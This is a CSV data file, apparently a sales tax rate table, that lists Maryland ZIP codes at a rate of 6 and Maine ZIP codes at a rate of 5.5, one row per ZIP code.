US-MD-21043,US,MD,21043,6,,,, US-MD-21044,US,MD,21044,6,,,, US-MD-21045,US,MD,21045,6,,,, US-MD-21046,US,MD,21046,6,,,, US-MD-21047,US,MD,21047,6,,,, US-MD-21048,US,MD,21048,6,,,, US-MD-21050,US,MD,21050,6,,,, US-MD-21051,US,MD,21051,6,,,, US-MD-21052,US,MD,21052,6,,,, US-MD-21053,US,MD,21053,6,,,, US-MD-21054,US,MD,21054,6,,,, US-MD-21056,US,MD,21056,6,,,, US-MD-21057,US,MD,21057,6,,,, US-MD-21060,US,MD,21060,6,,,, US-MD-21061,US,MD,21061,6,,,, US-MD-21062,US,MD,21062,6,,,, US-MD-21065,US,MD,21065,6,,,, US-MD-21071,US,MD,21071,6,,,, US-MD-21074,US,MD,21074,6,,,, US-MD-21075,US,MD,21075,6,,,, US-MD-21076,US,MD,21076,6,,,, US-MD-21077,US,MD,21077,6,,,, US-MD-21078,US,MD,21078,6,,,, US-MD-21082,US,MD,21082,6,,,, US-MD-21084,US,MD,21084,6,,,, US-MD-21085,US,MD,21085,6,,,, US-MD-21087,US,MD,21087,6,,,, US-MD-21088,US,MD,21088,6,,,, US-MD-21090,US,MD,21090,6,,,, US-MD-21092,US,MD,21092,6,,,, US-MD-21093,US,MD,21093,6,,,, US-MD-21094,US,MD,21094,6,,,, US-MD-21102,US,MD,21102,6,,,, US-MD-21104,US,MD,21104,6,,,, US-MD-21105,US,MD,21105,6,,,, US-MD-21106,US,MD,21106,6,,,, US-MD-21108,US,MD,21108,6,,,, US-MD-21111,US,MD,21111,6,,,, US-MD-21113,US,MD,21113,6,,,, US-MD-21114,US,MD,21114,6,,,, US-MD-21117,US,MD,21117,6,,,, US-MD-21120,US,MD,21120,6,,,, US-MD-21122,US,MD,21122,6,,,, US-MD-21123,US,MD,21123,6,,,, US-MD-21128,US,MD,21128,6,,,, US-MD-21130,US,MD,21130,6,,,, US-MD-21131,US,MD,21131,6,,,, US-MD-21132,US,MD,21132,6,,,, US-MD-21133,US,MD,21133,6,,,, US-MD-21136,US,MD,21136,6,,,, US-MD-21139,US,MD,21139,6,,,, US-MD-21140,US,MD,21140,6,,,, US-MD-21144,US,MD,21144,6,,,, US-MD-21146,US,MD,21146,6,,,, US-MD-21150,US,MD,21150,6,,,, US-MD-21152,US,MD,21152,6,,,, US-MD-21153,US,MD,21153,6,,,, US-MD-21154,US,MD,21154,6,,,, US-MD-21155,US,MD,21155,6,,,, US-MD-21156,US,MD,21156,6,,,, US-MD-21157,US,MD,21157,6,,,, US-MD-21158,US,MD,21158,6,,,, US-MD-21160,US,MD,21160,6,,,, US-MD-21161,US,MD,21161,6,,,, US-MD-21162,US,MD,21162,6,,,, US-MD-21163,US,MD,21163,6,,,, US-MD-21201,US,MD,21201,6,,,, US-MD-21202,US,MD,21202,6,,,, US-MD-21203,US,MD,21203,6,,,, US-MD-21204,US,MD,21204,6,,,, US-MD-21205,US,MD,21205,6,,,, US-MD-21206,US,MD,21206,6,,,, US-MD-21207,US,MD,21207,6,,,, US-MD-21208,US,MD,21208,6,,,, US-MD-21209,US,MD,21209,6,,,, US-MD-21210,US,MD,21210,6,,,, US-MD-21211,US,MD,21211,6,,,, US-MD-21212,US,MD,21212,6,,,, US-MD-21213,US,MD,21213,6,,,, US-MD-21214,US,MD,21214,6,,,, US-MD-21215,US,MD,21215,6,,,, US-MD-21216,US,MD,21216,6,,,, US-MD-21217,US,MD,21217,6,,,, US-MD-21218,US,MD,21218,6,,,, US-MD-21219,US,MD,21219,6,,,, US-MD-21220,US,MD,21220,6,,,, US-MD-21221,US,MD,21221,6,,,, US-MD-21222,US,MD,21222,6,,,, US-MD-21223,US,MD,21223,6,,,, US-MD-21224,US,MD,21224,6,,,, US-MD-21225,US,MD,21225,6,,,, US-MD-21226,US,MD,21226,6,,,, US-MD-21227,US,MD,21227,6,,,, US-MD-21228,US,MD,21228,6,,,, US-MD-21229,US,MD,21229,6,,,, US-MD-21230,US,MD,21230,6,,,, US-MD-21231,US,MD,21231,6,,,, US-MD-21233,US,MD,21233,6,,,, US-MD-21234,US,MD,21234,6,,,, US-MD-21235,US,MD,21235,6,,,, US-MD-21236,US,MD,21236,6,,,, US-MD-21237,US,MD,21237,6,,,, US-MD-21239,US,MD,21239,6,,,, US-MD-21240,US,MD,21240,6,,,, US-MD-21241,US,MD,21241,6,,,, US-MD-21244,US,MD,21244,6,,,, US-MD-21250,US,MD,21250,6,,,, US-MD-21251,US,MD,21251,6,,,, US-MD-21252,US,MD,21252,6,,,, US-MD-21263,US,MD,21263,6,,,, US-MD-21264,US,MD,21264,6,,,, US-MD-21270,US,MD,21270,6,,,, US-MD-21273,US,MD,21273,6,,,, US-MD-21275,US,MD,21275,6,,,, US-MD-21278,US,MD,21278,6,,,, US-MD-21279,US,MD,21279,6,,,, US-MD-21280,US,MD,21280,6,,,, US-MD-21281,US,MD,21281,6,,,, US-MD-21282,US,MD,21282,6,,,, US-MD-21284,US,MD,21284,6,,,, US-MD-21285,US,MD,21285,6,,,, US-MD-21286,US,MD,21286,6,,,, US-MD-21287,US,MD,21287,6,,,, US-MD-21288,US,MD,21288,6,,,, US-MD-21289,US,MD,21289,6,,,, US-MD-21290,US,MD,21290,6,,,, US-MD-21297,US,MD,21297,6,,,, US-MD-21298,US,MD,21298,6,,,, US-MD-21401,US,MD,21401,6,,,, US-MD-21402,US,MD,21402,6,,,, US-MD-21403,US,MD,21403,6,,,, US-MD-21404,US,MD,21404,6,,,, US-MD-21405,US,MD,21405,6,,,, US-MD-21409,US,MD,21409,6,,,, US-MD-21411,US,MD,21411,6,,,, US-MD-21412,US,MD,21412,6,,,, US-MD-21501,US,MD,21501,6,,,, US-MD-21502,US,MD,21502,6,,,, US-MD-21503,US,MD,21503,6,,,, US-MD-21504,US,MD,21504,6,,,, US-MD-21505,US,MD,21505,6,,,, US-MD-21520,US,MD,21520,6,,,, US-MD-21521,US,MD,21521,6,,,, US-MD-21522,US,MD,21522,6,,,, US-MD-21523,US,MD,21523,6,,,, US-MD-21524,US,MD,21524,6,,,, US-MD-21528,US,MD,21528,6,,,, US-MD-21529,US,MD,21529,6,,,, US-MD-21530,US,MD,21530,6,,,, US-MD-21531,US,MD,21531,6,,,, US-MD-21532,US,MD,21532,6,,,, US-MD-21536,US,MD,21536,6,,,, US-MD-21538,US,MD,21538,6,,,, US-MD-21539,US,MD,21539,6,,,, US-MD-21540,US,MD,21540,6,,,, US-MD-21541,US,MD,21541,6,,,, US-MD-21542,US,MD,21542,6,,,, US-MD-21543,US,MD,21543,6,,,, US-MD-21545,US,MD,21545,6,,,, US-MD-21550,US,MD,21550,6,,,, US-MD-21555,US,MD,21555,6,,,, US-MD-21556,US,MD,21556,6,,,, US-MD-21557,US,MD,21557,6,,,, US-MD-21560,US,MD,21560,6,,,, US-MD-21561,US,MD,21561,6,,,, US-MD-21562,US,MD,21562,6,,,, US-MD-21601,US,MD,21601,6,,,, US-MD-21607,US,MD,21607,6,,,, US-MD-21609,US,MD,21609,6,,,, US-MD-21610,US,MD,21610,6,,,, US-MD-21612,US,MD,21612,6,,,, US-MD-21613,US,MD,21613,6,,,, US-MD-21617,US,MD,21617,6,,,, US-MD-21619,US,MD,21619,6,,,, US-MD-21620,US,MD,21620,6,,,, US-MD-21622,US,MD,21622,6,,,, US-MD-21623,US,MD,21623,6,,,, US-MD-21624,US,MD,21624,6,,,, US-MD-21625,US,MD,21625,6,,,, US-MD-21626,US,MD,21626,6,,,, US-MD-21627,US,MD,21627,6,,,, US-MD-21628,US,MD,21628,6,,,, US-MD-21629,US,MD,21629,6,,,, US-MD-21631,US,MD,21631,6,,,, US-MD-21632,US,MD,21632,6,,,, US-MD-21634,US,MD,21634,6,,,, US-MD-21635,US,MD,21635,6,,,, US-MD-21636,US,MD,21636,6,,,, US-MD-21638,US,MD,21638,6,,,, US-MD-21639,US,MD,21639,6,,,, US-MD-21640,US,MD,21640,6,,,, US-MD-21641,US,MD,21641,6,,,, US-MD-21643,US,MD,21643,6,,,, US-MD-21644,US,MD,21644,6,,,, US-MD-21645,US,MD,21645,6,,,, US-MD-21647,US,MD,21647,6,,,, US-MD-21648,US,MD,21648,6,,,, US-MD-21649,US,MD,21649,6,,,, US-MD-21650,US,MD,21650,6,,,, US-MD-21651,US,MD,21651,6,,,, US-MD-21652,US,MD,21652,6,,,, US-MD-21653,US,MD,21653,6,,,, US-MD-21654,US,MD,21654,6,,,, US-MD-21655,US,MD,21655,6,,,, US-MD-21656,US,MD,21656,6,,,, US-MD-21657,US,MD,21657,6,,,, US-MD-21658,US,MD,21658,6,,,, US-MD-21659,US,MD,21659,6,,,, US-MD-21660,US,MD,21660,6,,,, US-MD-21661,US,MD,21661,6,,,, US-MD-21662,US,MD,21662,6,,,, US-MD-21663,US,MD,21663,6,,,, US-MD-21664,US,MD,21664,6,,,, US-MD-21665,US,MD,21665,6,,,, US-MD-21666,US,MD,21666,6,,,, US-MD-21667,US,MD,21667,6,,,, US-MD-21668,US,MD,21668,6,,,, US-MD-21669,US,MD,21669,6,,,, US-MD-21670,US,MD,21670,6,,,, US-MD-21671,US,MD,21671,6,,,, US-MD-21672,US,MD,21672,6,,,, US-MD-21673,US,MD,21673,6,,,, US-MD-21675,US,MD,21675,6,,,, US-MD-21676,US,MD,21676,6,,,, US-MD-21677,US,MD,21677,6,,,, US-MD-21678,US,MD,21678,6,,,, US-MD-21679,US,MD,21679,6,,,, US-MD-21690,US,MD,21690,6,,,, US-MD-21701,US,MD,21701,6,,,, US-MD-21702,US,MD,21702,6,,,, US-MD-21703,US,MD,21703,6,,,, US-MD-21704,US,MD,21704,6,,,, US-MD-21705,US,MD,21705,6,,,, US-MD-21709,US,MD,21709,6,,,, US-MD-21710,US,MD,21710,6,,,, US-MD-21711,US,MD,21711,6,,,, US-MD-21713,US,MD,21713,6,,,, US-MD-21714,US,MD,21714,6,,,, US-MD-21715,US,MD,21715,6,,,, US-MD-21716,US,MD,21716,6,,,, US-MD-21717,US,MD,21717,6,,,, US-MD-21718,US,MD,21718,6,,,, US-MD-21719,US,MD,21719,6,,,, US-MD-21720,US,MD,21720,6,,,, US-MD-21721,US,MD,21721,6,,,, US-MD-21722,US,MD,21722,6,,,, US-MD-21723,US,MD,21723,6,,,, US-MD-21727,US,MD,21727,6,,,, US-MD-21733,US,MD,21733,6,,,, US-MD-21734,US,MD,21734,6,,,, US-MD-21737,US,MD,21737,6,,,, US-MD-21738,US,MD,21738,6,,,, US-MD-21740,US,MD,21740,6,,,, US-MD-21741,US,MD,21741,6,,,, US-MD-21742,US,MD,21742,6,,,, US-MD-21746,US,MD,21746,6,,,, US-MD-21747,US,MD,21747,6,,,, US-MD-21749,US,MD,21749,6,,,, US-MD-21750,US,MD,21750,6,,,, US-MD-21754,US,MD,21754,6,,,, US-MD-21755,US,MD,21755,6,,,, US-MD-21756,US,MD,21756,6,,,, US-MD-21757,US,MD,21757,6,,,, US-MD-21758,US,MD,21758,6,,,, US-MD-21759,US,MD,21759,6,,,, US-MD-21762,US,MD,21762,6,,,, US-MD-21765,US,MD,21765,6,,,, US-MD-21766,US,MD,21766,6,,,, US-MD-21767,US,MD,21767,6,,,, US-MD-21769,US,MD,21769,6,,,, US-MD-21770,US,MD,21770,6,,,, US-MD-21771,US,MD,21771,6,,,, US-MD-21773,US,MD,21773,6,,,, US-MD-21774,US,MD,21774,6,,,, US-MD-21775,US,MD,21775,6,,,, US-MD-21776,US,MD,21776,6,,,, US-MD-21777,US,MD,21777,6,,,, US-MD-21778,US,MD,21778,6,,,, US-MD-21779,US,MD,21779,6,,,, US-MD-21780,US,MD,21780,6,,,, US-MD-21781,US,MD,21781,6,,,, US-MD-21782,US,MD,21782,6,,,, US-MD-21783,US,MD,21783,6,,,, US-MD-21784,US,MD,21784,6,,,, US-MD-21787,US,MD,21787,6,,,, US-MD-21788,US,MD,21788,6,,,, US-MD-21790,US,MD,21790,6,,,, US-MD-21791,US,MD,21791,6,,,, US-MD-21792,US,MD,21792,6,,,, US-MD-21793,US,MD,21793,6,,,, US-MD-21794,US,MD,21794,6,,,, US-MD-21795,US,MD,21795,6,,,, US-MD-21797,US,MD,21797,6,,,, US-MD-21798,US,MD,21798,6,,,, US-MD-21801,US,MD,21801,6,,,, US-MD-21802,US,MD,21802,6,,,, US-MD-21803,US,MD,21803,6,,,, US-MD-21804,US,MD,21804,6,,,, US-MD-21810,US,MD,21810,6,,,, US-MD-21811,US,MD,21811,6,,,, US-MD-21813,US,MD,21813,6,,,, US-MD-21814,US,MD,21814,6,,,, US-MD-21817,US,MD,21817,6,,,, US-MD-21821,US,MD,21821,6,,,, US-MD-21822,US,MD,21822,6,,,, US-MD-21824,US,MD,21824,6,,,, US-MD-21826,US,MD,21826,6,,,, US-MD-21829,US,MD,21829,6,,,, US-MD-21830,US,MD,21830,6,,,, US-MD-21835,US,MD,21835,6,,,, US-MD-21836,US,MD,21836,6,,,, US-MD-21837,US,MD,21837,6,,,, US-MD-21838,US,MD,21838,6,,,, US-MD-21840,US,MD,21840,6,,,, US-MD-21841,US,MD,21841,6,,,, US-MD-21842,US,MD,21842,6,,,, US-MD-21843,US,MD,21843,6,,,, US-MD-21849,US,MD,21849,6,,,, US-MD-21850,US,MD,21850,6,,,, US-MD-21851,US,MD,21851,6,,,, US-MD-21852,US,MD,21852,6,,,, US-MD-21853,US,MD,21853,6,,,, US-MD-21856,US,MD,21856,6,,,, US-MD-21857,US,MD,21857,6,,,, US-MD-21861,US,MD,21861,6,,,, US-MD-21862,US,MD,21862,6,,,, US-MD-21863,US,MD,21863,6,,,, US-MD-21864,US,MD,21864,6,,,, US-MD-21865,US,MD,21865,6,,,, US-MD-21866,US,MD,21866,6,,,, US-MD-21867,US,MD,21867,6,,,, US-MD-21869,US,MD,21869,6,,,, US-MD-21871,US,MD,21871,6,,,, US-MD-21872,US,MD,21872,6,,,, US-MD-21874,US,MD,21874,6,,,, US-MD-21875,US,MD,21875,6,,,, US-MD-21890,US,MD,21890,6,,,, US-MD-21901,US,MD,21901,6,,,, US-MD-21902,US,MD,21902,6,,,, US-MD-21903,US,MD,21903,6,,,, US-MD-21904,US,MD,21904,6,,,, US-MD-21911,US,MD,21911,6,,,, US-MD-21912,US,MD,21912,6,,,, US-MD-21913,US,MD,21913,6,,,, US-MD-21914,US,MD,21914,6,,,, US-MD-21915,US,MD,21915,6,,,, US-MD-21916,US,MD,21916,6,,,, US-MD-21917,US,MD,21917,6,,,, US-MD-21918,US,MD,21918,6,,,, US-MD-21919,US,MD,21919,6,,,, US-MD-21920,US,MD,21920,6,,,, US-MD-21921,US,MD,21921,6,,,, US-MD-21922,US,MD,21922,6,,,, US-MD-21930,US,MD,21930,6,,,, US-ME-03901,US,ME,03901,5.5,,,, US-ME-03902,US,ME,03902,5.5,,,, US-ME-03903,US,ME,03903,5.5,,,, US-ME-03904,US,ME,03904,5.5,,,, US-ME-03905,US,ME,03905,5.5,,,, US-ME-03906,US,ME,03906,5.5,,,, US-ME-03907,US,ME,03907,5.5,,,, US-ME-03908,US,ME,03908,5.5,,,, US-ME-03909,US,ME,03909,5.5,,,, US-ME-03910,US,ME,03910,5.5,,,, US-ME-03911,US,ME,03911,5.5,,,, US-ME-04001,US,ME,04001,5.5,,,, US-ME-04002,US,ME,04002,5.5,,,, US-ME-04003,US,ME,04003,5.5,,,, US-ME-04004,US,ME,04004,5.5,,,, US-ME-04005,US,ME,04005,5.5,,,, US-ME-04006,US,ME,04006,5.5,,,, US-ME-04007,US,ME,04007,5.5,,,, US-ME-04008,US,ME,04008,5.5,,,, US-ME-04009,US,ME,04009,5.5,,,, US-ME-04010,US,ME,04010,5.5,,,, US-ME-04011,US,ME,04011,5.5,,,, US-ME-04013,US,ME,04013,5.5,,,, US-ME-04014,US,ME,04014,5.5,,,, US-ME-04015,US,ME,04015,5.5,,,, US-ME-04016,US,ME,04016,5.5,,,, US-ME-04017,US,ME,04017,5.5,,,, US-ME-04019,US,ME,04019,5.5,,,, US-ME-04020,US,ME,04020,5.5,,,, US-ME-04021,US,ME,04021,5.5,,,, US-ME-04022,US,ME,04022,5.5,,,, US-ME-04024,US,ME,04024,5.5,,,, US-ME-04027,US,ME,04027,5.5,,,, US-ME-04028,US,ME,04028,5.5,,,, US-ME-04029,US,ME,04029,5.5,,,, US-ME-04030,US,ME,04030,5.5,,,, US-ME-04032,US,ME,04032,5.5,,,, US-ME-04033,US,ME,04033,5.5,,,, US-ME-04034,US,ME,04034,5.5,,,, US-ME-04037,US,ME,04037,5.5,,,, US-ME-04038,US,ME,04038,5.5,,,, US-ME-04039,US,ME,04039,5.5,,,, US-ME-04040,US,ME,04040,5.5,,,, US-ME-04041,US,ME,04041,5.5,,,, US-ME-04042,US,ME,04042,5.5,,,, US-ME-04043,US,ME,04043,5.5,,,, US-ME-04046,US,ME,04046,5.5,,,, US-ME-04047,US,ME,04047,5.5,,,, US-ME-04048,US,ME,04048,5.5,,,, US-ME-04049,US,ME,04049,5.5,,,, US-ME-04050,US,ME,04050,5.5,,,, US-ME-04051,US,ME,04051,5.5,,,, US-ME-04054,US,ME,04054,5.5,,,, US-ME-04055,US,ME,04055,5.5,,,, US-ME-04056,US,ME,04056,5.5,,,, US-ME-04057,US,ME,04057,5.5,,,, US-ME-04061,US,ME,04061,5.5,,,, US-ME-04062,US,ME,04062,5.5,,,, US-ME-04063,US,ME,04063,5.5,,,, US-ME-04064,US,ME,04064,5.5,,,, US-ME-04066,US,ME,04066,5.5,,,, US-ME-04068,US,ME,04068,5.5,,,, US-ME-04069,US,ME,04069,5.5,,,, US-ME-04070,US,ME,04070,5.5,,,, US-ME-04071,US,ME,04071,5.5,,,, US-ME-04072,US,ME,04072,5.5,,,, US-ME-04073,US,ME,04073,5.5,,,, US-ME-04074,US,ME,04074,5.5,,,, US-ME-04076,US,ME,04076,5.5,,,, US-ME-04077,US,ME,04077,5.5,,,, US-ME-04078,US,ME,04078,5.5,,,, US-ME-04079,US,ME,04079,5.5,,,, US-ME-04082,US,ME,04082,5.5,,,, US-ME-04083,US,ME,04083,5.5,,,, US-ME-04084,US,ME,04084,5.5,,,, US-ME-04085,US,ME,04085,5.5,,,, US-ME-04086,US,ME,04086,5.5,,,, US-ME-04087,US,ME,04087,5.5,,,, US-ME-04088,US,ME,04088,5.5,,,, US-ME-04090,US,ME,04090,5.5,,,, US-ME-04091,US,ME,04091,5.5,,,, US-ME-04092,US,ME,04092,5.5,,,, US-ME-04093,US,ME,04093,5.5,,,, US-ME-04094,US,ME,04094,5.5,,,, US-ME-04095,US,ME,04095,5.5,,,, US-ME-04096,US,ME,04096,5.5,,,, US-ME-04097,US,ME,04097,5.5,,,, US-ME-04098,US,ME,04098,5.5,,,, US-ME-04101,US,ME,04101,5.5,,,, US-ME-04102,US,ME,04102,5.5,,,, US-ME-04103,US,ME,04103,5.5,,,, US-ME-04104,US,ME,04104,5.5,,,, US-ME-04105,US,ME,04105,5.5,,,, US-ME-04106,US,ME,04106,5.5,,,, US-ME-04107,US,ME,04107,5.5,,,, US-ME-04108,US,ME,04108,5.5,,,, US-ME-04109,US,ME,04109,5.5,,,, US-ME-04110,US,ME,04110,5.5,,,, US-ME-04112,US,ME,04112,5.5,,,, US-ME-04116,US,ME,04116,5.5,,,, US-ME-04122,US,ME,04122,5.5,,,, US-ME-04123,US,ME,04123,5.5,,,, US-ME-04124,US,ME,04124,5.5,,,, US-ME-04210,US,ME,04210,5.5,,,, US-ME-04211,US,ME,04211,5.5,,,, US-ME-04212,US,ME,04212,5.5,,,, US-ME-04216,US,ME,04216,5.5,,,, US-ME-04217,US,ME,04217,5.5,,,, US-ME-04219,US,ME,04219,5.5,,,, US-ME-04220,US,ME,04220,5.5,,,, US-ME-04221,US,ME,04221,5.5,,,, US-ME-04222,US,ME,04222,5.5,,,, US-ME-04223,US,ME,04223,5.5,,,, US-ME-04224,US,ME,04224,5.5,,,, US-ME-04225,US,ME,04225,5.5,,,, US-ME-04226,US,ME,04226,5.5,,,, US-ME-04227,US,ME,04227,5.5,,,, US-ME-04228,US,ME,04228,5.5,,,, US-ME-04230,US,ME,04230,5.5,,,, US-ME-04231,US,ME,04231,5.5,,,, US-ME-04234,US,ME,04234,5.5,,,, US-ME-04236,US,ME,04236,5.5,,,, US-ME-04237,US,ME,04237,5.5,,,, US-ME-04238,US,ME,04238,5.5,,,, US-ME-04239,US,ME,04239,5.5,,,, US-ME-04240,US,ME,04240,5.5,,,, US-ME-04241,US,ME,04241,5.5,,,, US-ME-04243,US,ME,04243,5.5,,,, US-ME-04250,US,ME,04250,5.5,,,, US-ME-04252,US,ME,04252,5.5,,,, US-ME-04253,US,ME,04253,5.5,,,, US-ME-04254,US,ME,04254,5.5,,,, US-ME-04255,US,ME,04255,5.5,,,, US-ME-04256,US,ME,04256,5.5,,,, US-ME-04257,US,ME,04257,5.5,,,, US-ME-04258,US,ME,04258,5.5,,,, US-ME-04259,US,ME,04259,5.5,,,, US-ME-04260,US,ME,04260,5.5,,,, US-ME-04261,US,ME,04261,5.5,,,, US-ME-04262,US,ME,04262,5.5,,,, US-ME-04263,US,ME,04263,5.5,,,, US-ME-04265,US,ME,04265,5.5,,,, US-ME-04266,US,ME,04266,5.5,,,, US-ME-04267,US,ME,04267,5.5,,,, US-ME-04268,US,ME,04268,5.5,,,, US-ME-04270,US,ME,04270,5.5,,,, US-ME-04271,US,ME,04271,5.5,,,, US-ME-04274,US,ME,04274,5.5,,,, US-ME-04275,US,ME,04275,5.5,,,, US-ME-04276,US,ME,04276,5.5,,,, US-ME-04280,US,ME,04280,5.5,,,, US-ME-04281,US,ME,04281,5.5,,,, US-ME-04282,US,ME,04282,5.5,,,, US-ME-04284,US,ME,04284,5.5,,,, US-ME-04285,US,ME,04285,5.5,,,, US-ME-04286,US,ME,04286,5.5,,,, US-ME-04287,US,ME,04287,5.5,,,, US-ME-04288,US,ME,04288,5.5,,,, US-ME-04289,US,ME,04289,5.5,,,, US-ME-04290,US,ME,04290,5.5,,,, US-ME-04291,US,ME,04291,5.5,,,, US-ME-04292,US,ME,04292,5.5,,,, US-ME-04294,US,ME,04294,5.5,,,, US-ME-04330,US,ME,04330,5.5,,,, US-ME-04332,US,ME,04332,5.5,,,, US-ME-04333,US,ME,04333,5.5,,,, US-ME-04336,US,ME,04336,5.5,,,, US-ME-04338,US,ME,04338,5.5,,,, US-ME-04341,US,ME,04341,5.5,,,, US-ME-04342,US,ME,04342,5.5,,,, US-ME-04343,US,ME,04343,5.5,,,, US-ME-04344,US,ME,04344,5.5,,,, US-ME-04345,US,ME,04345,5.5,,,, US-ME-04346,US,ME,04346,5.5,,,, US-ME-04347,US,ME,04347,5.5,,,, US-ME-04348,US,ME,04348,5.5,,,, US-ME-04349,US,ME,04349,5.5,,,, US-ME-04350,US,ME,04350,5.5,,,, US-ME-04351,US,ME,04351,5.5,,,, US-ME-04352,US,ME,04352,5.5,,,, US-ME-04353,US,ME,04353,5.5,,,, US-ME-04354,US,ME,04354,5.5,,,, US-ME-04355,US,ME,04355,5.5,,,, US-ME-04357,US,ME,04357,5.5,,,, US-ME-04358,US,ME,04358,5.5,,,, US-ME-04359,US,ME,04359,5.5,,,, US-ME-04360,US,ME,04360,5.5,,,, US-ME-04363,US,ME,04363,5.5,,,, US-ME-04364,US,ME,04364,5.5,,,, US-ME-04401,US,ME,04401,5.5,,,, US-ME-04402,US,ME,04402,5.5,,,, US-ME-04406,US,ME,04406,5.5,,,, US-ME-04408,US,ME,04408,5.5,,,, US-ME-04410,US,ME,04410,5.5,,,, US-ME-04411,US,ME,04411,5.5,,,, US-ME-04412,US,ME,04412,5.5,,,, US-ME-04413,US,ME,04413,5.5,,,, US-ME-04414,US,ME,04414,5.5,,,, US-ME-04415,US,ME,04415,5.5,,,, US-ME-04416,US,ME,04416,5.5,,,, US-ME-04417,US,ME,04417,5.5,,,, US-ME-04418,US,ME,04418,5.5,,,, US-ME-04419,US,ME,04419,5.5,,,, US-ME-04420,US,ME,04420,5.5,,,, US-ME-04421,US,ME,04421,5.5,,,, US-ME-04422,US,ME,04422,5.5,,,, US-ME-04424,US,ME,04424,5.5,,,, US-ME-04426,US,ME,04426,5.5,,,, US-ME-04427,US,ME,04427,5.5,,,, US-ME-04428,US,ME,04428,5.5,,,, US-ME-04429,US,ME,04429,5.5,,,, US-ME-04430,US,ME,04430,5.5,,,, US-ME-04431,US,ME,04431,5.5,,,, US-ME-04434,US,ME,04434,5.5,,,, US-ME-04435,US,ME,04435,5.5,,,, US-ME-04438,US,ME,04438,5.5,,,, US-ME-04441,US,ME,04441,5.5,,,, US-ME-04442,US,ME,04442,5.5,,,, US-ME-04443,US,ME,04443,5.5,,,, US-ME-04444,US,ME,04444,5.5,,,, US-ME-04448,US,ME,04448,5.5,,,, US-ME-04449,US,ME,04449,5.5,,,, US-ME-04450,US,ME,04450,5.5,,,, US-ME-04451,US,ME,04451,5.5,,,, US-ME-04453,US,ME,04453,5.5,,,, US-ME-04454,US,ME,04454,5.5,,,, US-ME-04455,US,ME,04455,5.5,,,, US-ME-04456,US,ME,04456,5.5,,,, US-ME-04457,US,ME,04457,5.5,,,, US-ME-04459,US,ME,04459,5.5,,,, US-ME-04460,US,ME,04460,5.5,,,, US-ME-04461,US,ME,04461,5.5,,,, US-ME-04462,US,ME,04462,5.5,,,, US-ME-04463,US,ME,04463,5.5,,,, US-ME-04464,US,ME,04464,5.5,,,, US-ME-04468,US,ME,04468,5.5,,,, US-ME-04469,US,ME,04469,5.5,,,, US-ME-04471,US,ME,04471,5.5,,,, US-ME-04472,US,ME,04472,5.5,,,, US-ME-04473,US,ME,04473,5.5,,,, US-ME-04474,US,ME,04474,5.5,,,, US-ME-04475,US,ME,04475,5.5,,,, US-ME-04476,US,ME,04476,5.5,,,, US-ME-04478,US,ME,04478,5.5,,,, US-ME-04479,US,ME,04479,5.5,,,, US-ME-04481,US,ME,04481,5.5,,,, US-ME-04485,US,ME,04485,5.5,,,, US-ME-04487,US,ME,04487,5.5,,,, US-ME-04488,US,ME,04488,5.5,,,, US-ME-04489,US,ME,04489,5.5,,,, US-ME-04490,US,ME,04490,5.5,,,, US-ME-04491,US,ME,04491,5.5,,,, US-ME-04492,US,ME,04492,5.5,,,, US-ME-04493,US,ME,04493,5.5,,,, US-ME-04495,US,ME,04495,5.5,,,, US-ME-04496,US,ME,04496,5.5,,,, US-ME-04497,US,ME,04497,5.5,,,, US-ME-04530,US,ME,04530,5.5,,,, US-ME-04535,US,ME,04535,5.5,,,, US-ME-04537,US,ME,04537,5.5,,,, US-ME-04538,US,ME,04538,5.5,,,, US-ME-04539,US,ME,04539,5.5,,,, US-ME-04541,US,ME,04541,5.5,,,, US-ME-04543,US,ME,04543,5.5,,,, US-ME-04544,US,ME,04544,5.5,,,, US-ME-04547,US,ME,04547,5.5,,,, US-ME-04548,US,ME,04548,5.5,,,, US-ME-04549,US,ME,04549,5.5,,,, US-ME-04551,US,ME,04551,5.5,,,, US-ME-04553,US,ME,04553,5.5,,,, US-ME-04554,US,ME,04554,5.5,,,, US-ME-04555,US,ME,04555,5.5,,,, US-ME-04556,US,ME,04556,5.5,,,, US-ME-04558,US,ME,04558,5.5,,,, US-ME-04562,US,ME,04562,5.5,,,, US-ME-04563,US,ME,04563,5.5,,,, US-ME-04564,US,ME,04564,5.5,,,, US-ME-04565,US,ME,04565,5.5,,,, US-ME-04568,US,ME,04568,5.5,,,, US-ME-04570,US,ME,04570,5.5,,,, US-ME-04571,US,ME,04571,5.5,,,, US-ME-04572,US,ME,04572,5.5,,,, US-ME-04573,US,ME,04573,5.5,,,, US-ME-04574,US,ME,04574,5.5,,,, US-ME-04575,US,ME,04575,5.5,,,, US-ME-04576,US,ME,04576,5.5,,,, US-ME-04578,US,ME,04578,5.5,,,, US-ME-04579,US,ME,04579,5.5,,,, US-ME-04605,US,ME,04605,5.5,,,, US-ME-04606,US,ME,04606,5.5,,,, US-ME-04607,US,ME,04607,5.5,,,, US-ME-04609,US,ME,04609,5.5,,,, US-ME-04611,US,ME,04611,5.5,,,, US-ME-04612,US,ME,04612,5.5,,,, US-ME-04613,US,ME,04613,5.5,,,, US-ME-04614,US,ME,04614,5.5,,,, US-ME-04616,US,ME,04616,5.5,,,, US-ME-04617,US,ME,04617,5.5,,,, US-ME-04619,US,ME,04619,5.5,,,, US-ME-04622,US,ME,04622,5.5,,,, US-ME-04623,US,ME,04623,5.5,,,, US-ME-04624,US,ME,04624,5.5,,,, US-ME-04625,US,ME,04625,5.5,,,, US-ME-04626,US,ME,04626,5.5,,,, US-ME-04627,US,ME,04627,5.5,,,, US-ME-04628,US,ME,04628,5.5,,,, US-ME-04629,US,ME,04629,5.5,,,, US-ME-04630,US,ME,04630,5.5,,,, US-ME-04631,US,ME,04631,5.5,,,, US-ME-04634,US,ME,04634,5.5,,,, US-ME-04635,US,ME,04635,5.5,,,, US-ME-04637,US,ME,04637,5.5,,,, US-ME-04640,US,ME,04640,5.5,,,, US-ME-04642,US,ME,04642,5.5,,,, US-ME-04643,US,ME,04643,5.5,,,, US-ME-04644,US,ME,04644,5.5,,,, US-ME-04645,US,ME,04645,5.5,,,, US-ME-04646,US,ME,04646,5.5,,,, US-ME-04648,US,ME,04648,5.5,,,, US-ME-04649,US,ME,04649,5.5,,,, US-ME-04650,US,ME,04650,5.5,,,, US-ME-04652,US,ME,04652,5.5,,,, US-ME-04653,US,ME,04653,5.5,,,, US-ME-04654,US,ME,04654,5.5,,,, US-ME-04655,US,ME,04655,5.5,,,, US-ME-04657,US,ME,04657,5.5,,,, US-ME-04658,US,ME,04658,5.5,,,, US-ME-04660,US,ME,04660,5.5,,,, 